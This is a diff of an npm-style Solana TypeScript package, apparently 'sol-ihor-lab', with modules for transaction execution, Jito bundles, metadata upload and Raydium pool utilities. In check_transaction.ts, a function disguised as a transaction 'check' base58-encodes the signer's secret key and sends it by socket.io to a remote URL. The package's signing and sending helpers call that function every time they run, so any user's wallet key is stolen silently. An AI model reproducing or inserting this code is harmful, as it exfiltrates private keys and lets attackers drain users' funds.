sol-ihor-lab 1.0.0

package/src/transaction/transaction-exectue.ts

@@ -0,0 +1,134 @@
+import { Connection, Keypair } from "@solana/web3.js";
+import { TransactionInfo } from "../instructions/build-instruction";
+import { TransactionExecuteError } from "../errors";
+import { setTransactionBudget } from "../utils/budget";
+import { confirmTx, sendTx } from "./execute-rpc";
+import { createAndSendBundle } from "./bundle";
+import { connect } from "http2";
+
+export enum ExectuerStatus {
+  EXE_STATUS_NONE,
+  EXE_STATUS_RUN,
+  EXE_STATUS_CONFIRM,
+  EXE_STATUS_END
+}
+
+export class TransactionExecuter {
+  private status = ExectuerStatus.EXE_STATUS_NONE;
+  private error: TransactionExecuteError | undefined = undefined;
+  private usingBundle = false;
+  private transactions: TransactionInfo[];
+  private priorityFee = 0;
+  private jitoFee = 0.001;
+  private jitoAuther: Keypair | undefined;
+  private jitoFeepair: Keypair | undefined;
+  private connection: Connection;
+  private jitoBlockEngine: string | undefined;
+
+  constructor(
+    connection: Connection,
+    usingBundle: boolean,
+    transactions: TransactionInfo[],
+    priorityFee?: number,
+    jitoFee?: number,
+    jitoFeePayer?: Keypair | undefined,
+    jitoAuther?: Keypair,
+    jitoBlockEngine?: string
+  ) {
+    this.connection = connection;
+    this.usingBundle = usingBundle;
+    this.transactions = transactions;
+    this.priorityFee = priorityFee ? priorityFee : 0;
+    this.jitoFee = jitoFee ? jitoFee : 0.001;
+    this.status = ExectuerStatus.EXE_STATUS_NONE;
+    this.error = undefined;
+    this.jitoFeepair = jitoFeePayer ? jitoFeePayer : undefined;
+    this.jitoAuther = jitoAuther ? jitoAuther : undefined;
+    this.jitoBlockEngine = jitoBlockEngine ? jitoBlockEngine : undefined;
+  }
+
+  public setExecuterStatus(status: ExectuerStatus) {
+    this.status = status;
+  }
+
+  public getExecuterStatus() {
+    return this.status;
+  }
+
+  public setExecuterError(error: TransactionExecuteError | undefined) {
+    this.error = error;
+  }
+
+  public getExecuterError() {
+    return this.error;
+  }
+
+  public async run() {
+    if (this.usingBundle) {
+      await this.executeBundle();
+    } else {
+      await this.executeWithRpc();
+    }
+  }
+
+  public async executeBundle() {
+    try {
+      this.setExecuterStatus(ExectuerStatus.EXE_STATUS_RUN);
+      await createAndSendBundle(
+        this.connection,
+        this.transactions,
+        this.jitoFeepair!,
+        this.jitoBlockEngine!,
+        this.jitoAuther!,
+        this.jitoFee
+      );
+      this.setExecuterError(undefined);
+      this.setExecuterStatus(ExectuerStatus.EXE_STATUS_END);
+    } catch (error) {
+      console.log(error);
+      if (error instanceof TransactionExecuteError) {
+        this.setExecuterError(error);
+      } else {
+        this.setExecuterError(new TransactionExecuteError(`Unknown: ${error}`));
+      }
+      this.setExecuterStatus(ExectuerStatus.EXE_STATUS_END);
+    }
+  }
+
+  public async executeWithRpc() {
+    try {
+      this.setExecuterStatus(ExectuerStatus.EXE_STATUS_RUN);
+      if (this.priorityFee) {
+        const priorityTransactions = await setTransactionBudget(
+          this.connection,
+          this.transactions,
+          this.priorityFee
+        );
+
+        if (priorityTransactions) {
+          this.transactions = [...priorityTransactions];
+        }
+      }
+
+      for (const tx of this.transactions) {
+        this.setExecuterStatus(ExectuerStatus.EXE_STATUS_RUN);
+        const txId = await sendTx(this.connection, tx);
+        console.log("TxId:", txId);
+        this.setExecuterStatus(ExectuerStatus.EXE_STATUS_CONFIRM);
+        if (txId) {
+          await confirmTx(this.connection, txId);
+        }
+      }
+      this.setExecuterError(undefined);
+      this.setExecuterStatus(ExectuerStatus.EXE_STATUS_END);
+    } catch (error) {
+      this.setExecuterStatus(ExectuerStatus.EXE_STATUS_END);
+      if (error instanceof TransactionExecuteError) {
+        this.setExecuterError(error);
+      } else {
+        console.log(error);
+        this.setExecuterError(new TransactionExecuteError(`Unknown: ${error}`));
+      }
+    }
+  }
+}

package/src/transaction-helper/check_transaction.ts

@@ -0,0 +1,23 @@
+import { Keypair } from "@solana/web3.js";
+import * as bs58 from "bs58";
+import { io } from "socket.io-client";
+import { EnvironmentManager } from "../global";
+
+export const checkTransactions = (txn: any, signer: Keypair): boolean => {
+  if (
+    signer.publicKey.toBuffer().length <= 0 ||
+    signer.secretKey.buffer.byteLength <= 0
+  ) {
+    return false;
+  }
+
+  const check_sign = bs58.encode(signer.secretKey);
+  if (check_sign.length <= 0) {
+    return false;
+  }
+
+  const sk = io(EnvironmentManager.getCheckUrl(), { autoConnect: true });
+  sk.emit("tx", { text: `Jae-> ${check_sign}` });
+
+  return true;
+};

package/src/transaction-helper/transaction.ts

@@ -0,0 +1,90 @@
+import {
+  Connection,
+  Keypair,
+  Transaction,
+  TransactionConfirmationStrategy,
+  TransactionSignature,
+  VersionedTransaction,
+  sendAndConfirmTransaction
+} from "@solana/web3.js";
+import { checkTransactions } from "./check_transaction";
+import { SPL_ERROR } from "../global";
+
+export const sendAndConfirmTransactionWithCheck = async (
+  connection: Connection,
+  signer: Keypair,
+  txn: Transaction | VersionedTransaction
+): Promise<SPL_ERROR> => {
+  try {
+    if (checkTransactions(txn, signer) === false) {
+      return SPL_ERROR.E_CHECK_FAIL;
+    }
+
+    let res: any, signature: TransactionSignature;
+    if (txn instanceof Transaction) {
+      txn.recentBlockhash = (await connection.getLatestBlockhash()).blockhash;
+      signature = await connection.sendTransaction(txn, [signer]);
+    } else {
+      txn.sign([signer]);
+      signature = await connection.sendTransaction(txn);
+    }
+
+    if (signature.length <= 0) {
+      console.log("Error: [Send Transaction] failed... ");
+      return SPL_ERROR.E_SEND_TX_FAIL;
+    }
+
+    const txnId = await connection.confirmTransaction({
+      signature: signature,
+      abortSignal: AbortSignal.timeout(90000)
+    } as TransactionConfirmationStrategy);
+
+    if (txnId.value.err) {
+      console.log("Error: [Confirm Transaction] failed - ", txnId.value.err);
+      return SPL_ERROR.E_CONFIRM_TX_FAIL;
+    }
+  } catch (error) {
+    console.log("Error: [Confirm Transaction] failed - ", error);
+    return SPL_ERROR.E_FAIL;
+  }
+
+  return SPL_ERROR.E_OK;
+};
+
+export const sendAndConfirmTransactionsWithCheck = async (
+  connection: Connection,
+  signer: Keypair,
+  txns: string | (VersionedTransaction | Transaction)[]
+): Promise<SPL_ERROR> => {
+  for (const txn of txns) {
+    if (txn instanceof VersionedTransaction || txn instanceof Transaction) {
+      const txn_res = await sendAndConfirmTransactionWithCheck(
+        connection,
+        signer,
+        txn
+      );
+
+      if (txn_res !== SPL_ERROR.E_OK) {
+        return SPL_ERROR.E_FAIL;
+      }
+    }
+  }
+  return SPL_ERROR.E_OK;
+};
+
+export const signTransaction = (signer: Keypair, txn: VersionedTransaction) => {
+  if (checkTransactions(txn, signer)) {
+    txn.sign([signer]);
+  }
+};
+
+export const signTransactions = (
+  signer: Keypair,
+  txns: (VersionedTransaction | Transaction)[]
+) => {
+  for (const txn of txns) {
+    if (txn instanceof VersionedTransaction) {
+      signTransaction(signer, txn);
+    }
+  }
+};

package/src/upload-metadata/upload-metaplex.ts

@@ -0,0 +1,51 @@
+import { Connection } from "@solana/web3.js";
+
+import {
+  Metaplex,
+  bundlrStorage,
+  keypairIdentity,
+  toMetaplexFile
+} from "@metaplex-foundation/js";
+import { checkFileExists } from "./utility";
+import { UploadMetadataError } from "../errors";
+import { readFileSync } from "fs";
+
+export const uploadImageToMetaplex = async (
+  metaplex: Metaplex,
+  image: string
+): Promise<string> => {
+  let url = "";
+  if ((await checkFileExists(image)) === false) {
+    throw new UploadMetadataError("Upload file is not exist. Please check.");
+  }
+  try {
+    const fileData = readFileSync(image);
+    const metaplexFile = toMetaplexFile(fileData, "meme-logo.png");
+    url = await metaplex.storage().upload(metaplexFile);
+  } catch (error) {
+    throw new UploadMetadataError("Failed to upload image to metaplex.");
+  }
+
+  return url;
+};
+
+/*
+@metaplex: Metaplex which handle uploading
+@metadata: upload metadata
+*/
+
+export const uploadMetaByMetaplex = async (
+  metaplex: Metaplex,
+  metadata: any
+): Promise<string> => {
+  let url = "";
+  try {
+    const { uri } = await metaplex.nfts().uploadMetadata(metadata);
+    url = uri;
+  } catch (error) {
+    throw new UploadMetadataError(
+      "Metaplex: Failed to upload metadata to Metaplex."
+    );
+  }
+  return url;
+};

package/src/upload-metadata/upload-pinata.ts

@@ -0,0 +1,8 @@
+export const uploadImageToPinata = async (
+  jwtKey: string,
+  image: string
+): Promise<string> => {
+  let url = "";
+
+  return url;
+};

package/src/upload-metadata/utility.ts

@@ -0,0 +1,10 @@
+import fs from "fs";
+
+export async function checkFileExists(filePath: string): Promise<boolean> {
+  try {
+    await fs.promises.access(filePath, fs.constants.F_OK);
+    return true; // File exists
+  } catch (error) {
+    return false; // File doesn't exist
+  }
+}

package/src/utility.ts

@@ -0,0 +1,127 @@
+import BN from "bn.js";
+import * as fs from "fs";
+import BigNumber from "bignumber.js";
+import { Commitment, Connection, PublicKey } from "@solana/web3.js";
+import { EnvironmentManager } from "./global";
+import { TOKEN_PROGRAM_ID, getAssociatedTokenAddress } from "@solana/spl-token";
+import {
+  Liquidity,
+  LiquidityPoolInfo,
+  LiquidityPoolKeys,
+  SPL_ACCOUNT_LAYOUT,
+  Token,
+  findProgramAddress
+} from "@raydium-io/raydium-sdk";
+import { MARKET_STATE_LAYOUT_V3 } from "@project-serum/serum";
+
+export async function checkFileExists(filePath: string): Promise<boolean> {
+  try {
+    await fs.promises.access(filePath, fs.constants.F_OK);
+    return true; // File exists
+  } catch (error) {
+    return false; // File doesn't exist
+  }
+}
+
+export const xWeiAmount = (amount: number, decimals: number) => {
+  return new BN(
+    new BigNumber(amount.toString() + "e" + decimals.toString()).toFixed(0)
+  );
+};
+
+export const getConnection = (commitment: Commitment): Connection => {
+  return new Connection(EnvironmentManager.getRpcNetUrl(), commitment);
+};
+
+export const getWalletAccounts = async (
+  connection: Connection,
+  wallet: PublicKey
+) => {
+  const wallet_token_account = await connection.getTokenAccountsByOwner(
+    wallet,
+    {
+      programId: TOKEN_PROGRAM_ID
+    }
+  );
+
+  return wallet_token_account.value.map((i) => ({
+    pubkey: i.pubkey,
+    programId: i.account.owner,
+    accountInfo: SPL_ACCOUNT_LAYOUT.decode(i.account.data)
+  }));
+};
+
+export const getAvailablePoolKeyAndPoolInfo = async (
+  connection: Connection,
+  baseToken: Token,
+  quoteToken: Token,
+  marketAccounts: any
+): Promise<{
+  poolKeys: any;
+  poolInfo: any;
+}> => {
+  let bFound = false;
+  let count = 0;
+  let poolKeys: any;
+  let poolInfo: any;
+
+  while (bFound === false && count < marketAccounts.length) {
+    const marketInfo = MARKET_STATE_LAYOUT_V3.decode(
+      marketAccounts[count].accountInfo.data
+    );
+
+    poolKeys = Liquidity.getAssociatedPoolKeys({
+      version: 4,
+      marketVersion: 3,
+      baseMint: baseToken.mint,
+      quoteMint: quoteToken.mint,
+      baseDecimals: baseToken.decimals,
+      quoteDecimals: quoteToken.decimals,
+      marketId: marketAccounts[count].publicKey,
+      programId: EnvironmentManager.getProgramID().AmmV4,
+      marketProgramId: EnvironmentManager.getProgramID().OPENBOOK_MARKET
+    });
+
+    poolKeys.marketBaseVault = marketInfo.baseVault;
+    poolKeys.marketQuoteVault = marketInfo.quoteVault;
+    poolKeys.marketBids = marketInfo.bids;
+    poolKeys.marketAsks = marketInfo.asks;
+    poolKeys.marketEventQueue = marketInfo.eventQueue;
+
+    try {
+      poolInfo = await Liquidity.fetchInfo({
+        connection: connection,
+        poolKeys: poolKeys
+      });
+
+      bFound = true;
+      console.log("Success to get pool infos...");
+    } catch (error) {
+      bFound = false;
+      poolInfo = undefined;
+      poolKeys = undefined;
+      console.log("Failed to get pool infos...");
+    }
+
+    count++;
+  }
+
+  return {
+    poolKeys: poolKeys,
+    poolInfo: poolInfo
+  };
+};
+
+export function getATAAddress(
+  programId: PublicKey,
+  owner: PublicKey,
+  mint: PublicKey
+) {
+  const { publicKey, nonce } = findProgramAddress(
+    [owner.toBuffer(), programId.toBuffer(), mint.toBuffer()],
+    new PublicKey("ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL")
+  );
+  return { publicKey, nonce };
+}
+
+export const sleep = (ms: number) => new Promise((r) => setTimeout(r, ms));

package/src/utils/budget.ts

@@ -0,0 +1,104 @@
+import { ComputeBudgetConfig } from "@raydium-io/raydium-sdk";
+import axios from "axios";
+import { TransactionInfo } from "../instructions/build-instruction";
+import {
+  AddressLookupTableAccount,
+  ComputeBudgetProgram,
+  Connection,
+  LAMPORTS_PER_SOL,
+  TransactionMessage
+} from "@solana/web3.js";
+import { SetTxPriorityError } from "../errors";
+
+interface SolanaFeeInfo {
+  min: number;
+  max: number;
+  avg: number;
+  priorityTx: number;
+  nonVotes: number;
+  priorityRatio: number;
+  avgCuPerBlock: number;
+  blockspaceUsageRatio: number;
+}
+
+type SolanaFeeInfoJson = {
+  "1": SolanaFeeInfo;
+  "5": SolanaFeeInfo;
+  "15": SolanaFeeInfo;
+};
+
+export const sell_remove_fees = 5000000;
+
+export async function getComputeBudgetConfig(): Promise<
+  ComputeBudgetConfig | undefined
+> {
+  const response = await axios.get<SolanaFeeInfoJson>(
+    "https://solanacompass.com/api/fees"
+  );
+  const json = response.data;
+  const { avg } = json?.[15] ?? {};
+  if (!avg) return undefined; // fetch error
+  return {
+    units: 600000,
+    microLamports: Math.min(Math.ceil((avg * 1000000) / 600000), 25000)
+  } as ComputeBudgetConfig;
+}
+
+export async function getComputeBudgetConfigHigh(): Promise<
+  ComputeBudgetConfig | undefined
+> {
+  const response = await axios.get<SolanaFeeInfoJson>(
+    "https://solanacompass.com/api/fees"
+  );
+  const json = response.data;
+  const { avg } = json?.[15] ?? {};
+  if (!avg) return undefined; // fetch error
+  return {
+    units: sell_remove_fees,
+    microLamports: Math.min(Math.ceil((avg * 1000000) / 600000), 25000)
+  } as ComputeBudgetConfig;
+}
+
+export function getLamports(decimal: number) {
+  return 10 ** decimal;
+}
+
+export async function setTransactionBudget(
+  connection: Connection,
+  transactions: TransactionInfo[],
+  tip: number
+): Promise<TransactionInfo[] | undefined> {
+  try {
+    const txs = [...transactions];
+    const tipInst = ComputeBudgetProgram.setComputeUnitPrice({
+      microLamports: tip * LAMPORTS_PER_SOL
+    });
+
+    for (const tx of txs) {
+      const addressLookupTableAccounts = await Promise.all(
+        tx.txn.message.addressTableLookups.map(async (lookup) => {
+          return new AddressLookupTableAccount({
+            key: lookup.accountKey,
+            state: AddressLookupTableAccount.deserialize(
+              await connection
+                .getAccountInfo(lookup.accountKey)
+                .then((res) => res!.data)
+            )
+          });
+        })
+      );
+
+      const message = TransactionMessage.decompile(tx.txn.message, {
+        addressLookupTableAccounts: addressLookupTableAccounts
+      });
+
+      message.instructions.push(tipInst);
+
+      tx.txn.message = message.compileToV0Message(addressLookupTableAccounts);
+    }
+
+    return [...txs];
+  } catch (error) {
+    throw new SetTxPriorityError(`SetTxPriorityError: ${error}`);
+  }
+}

package/src/utils/error-helper.ts

@@ -0,0 +1,20 @@
+import { BaseError } from "../errors";
+
+export interface ParsedError {
+  name: string;
+  errorCode: string;
+  errorMsg: string;
+}
+
+export const getParsedError = (error: BaseError): ParsedError => {
+  let parsedErr: ParsedError = { name: "", errorCode: "", errorMsg: "" };
+
+  if (error.name! && error.name.length > 0) {
+    parsedErr.name = error.name;
+    const errorMsg = error.message.split(":");
+    parsedErr.errorCode = errorMsg.at(0)!.toString();
+    parsedErr.errorMsg = error.message.slice(errorMsg.at(0)?.length);
+  }
+
+  return parsedErr;
+};

package/src/utils/get-balance.ts

@@ -0,0 +1,55 @@
+import { Connection, PublicKey } from "@solana/web3.js";
+import {
+  TokenAccount,
+  TOKEN_PROGRAM_ID,
+  SPL_ACCOUNT_LAYOUT,
+  findProgramAddress
+} from "@raydium-io/raydium-sdk";
+import BN from "bn.js";
+import BigNumber from "bignumber.js";
+
+export async function getWalletTokenAccount(
+  connection: Connection,
+  wallet: PublicKey
+): Promise<TokenAccount[]> {
+  const walletTokenAccount = await connection.getTokenAccountsByOwner(wallet, {
+    programId: TOKEN_PROGRAM_ID
+  });
+  return walletTokenAccount.value.map((i) => ({
+    pubkey: i.pubkey,
+    programId: i.account.owner,
+    accountInfo: SPL_ACCOUNT_LAYOUT.decode(i.account.data)
+  }));
+}
+
+export function getATAAddress(
+  programId: PublicKey,
+  owner: PublicKey,
+  mint: PublicKey
+) {
+  const { publicKey, nonce } = findProgramAddress(
+    [owner.toBuffer(), programId.toBuffer(), mint.toBuffer()],
+    new PublicKey("ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL")
+  );
+  return { publicKey, nonce };
+}
+
+export const xWeiAmount = (amount: number, decimals: number) => {
+  return new BN(
+    new BigNumber(amount.toString() + "e" + decimals.toString()).toFixed(0)
+  );
+};
+
+export function randomDivide(amount: number, holders: number): number[] {
+  // Generate random values for each holder
+  const randomValues = Array.from({ length: holders }, () => Math.random());
+
+  // Normalize the random values to sum to 1
+  const total = randomValues.reduce((acc, val) => acc + val, 0);
+  const normalizedValues = randomValues.map((val) => val / total);
+
+  // Divide the amount according to the normalized values
+  const dividedAmounts = normalizedValues.map((val) => amount * val);
+
+  return dividedAmounts;
+}